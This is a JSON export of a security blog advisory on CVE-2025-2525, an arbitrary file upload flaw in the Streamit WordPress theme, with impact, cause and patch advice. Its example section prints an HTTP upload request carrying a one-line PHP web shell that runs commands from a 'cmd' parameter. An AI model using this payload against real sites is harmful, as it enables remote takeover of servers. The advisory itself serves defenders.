{"id":23330,"date":"2025-04-14T23:10:39","date_gmt":"2025-04-14T23:10:39","guid":{"rendered":""},"modified":"2025-05-22T23:34:24","modified_gmt":"2025-05-22T23:34:24","slug":"cve-2025-2525-arbitrary-file-upload-vulnerability-in-streamit-wordpress-theme","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-2525-arbitrary-file-upload-vulnerability-in-streamit-wordpress-theme\/","title":{"rendered":"<strong>CVE-2025-2525: Arbitrary File Upload Vulnerability in Streamit WordPress Theme<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity landscape is frequently punctuated by the emergence of new vulnerabilities, requiring constant vigilance from developers and users alike. The most recent addition to this ever-growing list is CVE-2025-2525, a significant vulnerability identified in the Streamit theme for WordPress, which affects all versions up to, and including, 4.0.1. This vulnerability could allow authenticated attackers with subscriber-level and above permissions to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-43449-arbitrary-code-execution-vulnerability-in-hummerrisk-software\/\"  data-wpil-monitor-id=\"27387\">upload<\/a> arbitrary files onto the affected site&#8217;s server. In a worst-case scenario, this could facilitate remote <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-51066-code-execution-vulnerability-in-qstar-archive-solutions\/\"  data-wpil-monitor-id=\"26905\">code execution<\/a>, potentially leading to system compromise or significant data leakage.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-2525<br \/>\nSeverity: High (8.8 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low (Subscriber-level permissions)<br \/>\nUser Interaction: Required<br \/>\nImpact: Potential system compromise and data leakage, with the possibility of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27520-critical-remote-code-execution-vulnerability-in-bentoml-python-library\/\"  data-wpil-monitor-id=\"27418\">remote code execution<\/a><\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2797655116\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>Streamit <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4317-thegem-wordpress-theme-vulnerability-leading-to-arbitrary-file-uploads\/\"  data-wpil-monitor-id=\"48167\">WordPress Theme<\/a> | Up to and including 4.0.1<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability stems from a lack of file type validation in the &#8216;st_Authentication_Controller::edit_profile&#8217; function in the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-6991-critical-ssrf-vulnerability-in-jsm-s-file-get-contents-shortcode-wordpress-plugin\/\"  data-wpil-monitor-id=\"27333\">Streamit theme for WordPress<\/a>. Consequently, this allows a subscriber-level attacker to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2780-critical-arbitrary-file-upload-vulnerability-in-woffice-core-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"27338\">upload arbitrary files<\/a> to the server hosting the website. These arbitrary files, if crafted with malicious intent, could lead to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-21673-high-impact-remote-code-execution-vulnerability-in-confluence-data-center-and-server\/\"  data-wpil-monitor-id=\"28872\">remote code execution<\/a>. This could potentially provide the attacker with access to sensitive data, or even control over the server, depending on the nature of the code in the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2328-arbitrary-file-deletion-vulnerability-in-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin\/\"  data-wpil-monitor-id=\"29550\">uploaded file<\/a>.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2514014573\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how an attacker might <a href=\"https:\/\/www.ameeba.com\/blog\/fortinet-s-fortigate-vulnerability-ssl-vpn-symlink-exploit-puts-user-access-at-risk-post-patching\/\"  data-wpil-monitor-id=\"30075\">exploit this vulnerability<\/a>. It involves a simple HTTP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32567-critical-sql-injection-vulnerability-in-easy-post-duplicator\/\"  data-wpil-monitor-id=\"33190\">POST request to the vulnerable<\/a> endpoint, with a malicious payload embedded within the request.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/edit-profile HTTP\/1.1\nHost: targetsite.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;userfile&quot;; filename=&quot;malicious.php&quot;\nContent-Type: application\/x-php\n&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, the attacker uploads a PHP file (malicious.php) that contains a simple <a href=\"https:\/\/www.ameeba.com\/blog\/nsa-and-cyber-command-executives-withdraw-from-premier-cybersecurity-conference-unpacking-the-implications\/\"  data-wpil-monitor-id=\"29252\">command to execute<\/a> system commands passed through the &#8216;cmd&#8217; GET parameter. If successful, the attacker could run any command on the server, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-0572-critical-vulnerability-in-totolink-lr1200gb-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"29005\">leading to a complete compromise of the system<\/a>.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>Affected <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2563-privilege-escalation-vulnerability-in-user-registration-membership-wordpress-plugin\/\"  data-wpil-monitor-id=\"35836\">users of the Streamit WordPress<\/a> theme are advised to apply the vendor&#8217;s patch immediately. As a temporary measure, deploying a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-51063-understanding-and-mitigating-a-dom-based-xss-vulnerability-in-qstar-archive-solutions\/\"  data-wpil-monitor-id=\"27046\">mitigate the impact of this vulnerability<\/a>. However, these measures are not a substitute for applying the official patch from the vendor.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity landscape is frequently punctuated by the emergence of new vulnerabilities, requiring constant vigilance from developers and users alike. The most recent addition to this ever-growing list is CVE-2025-2525, a significant vulnerability identified in the Streamit theme for WordPress, which affects all versions up to, and including, 4.0.1. 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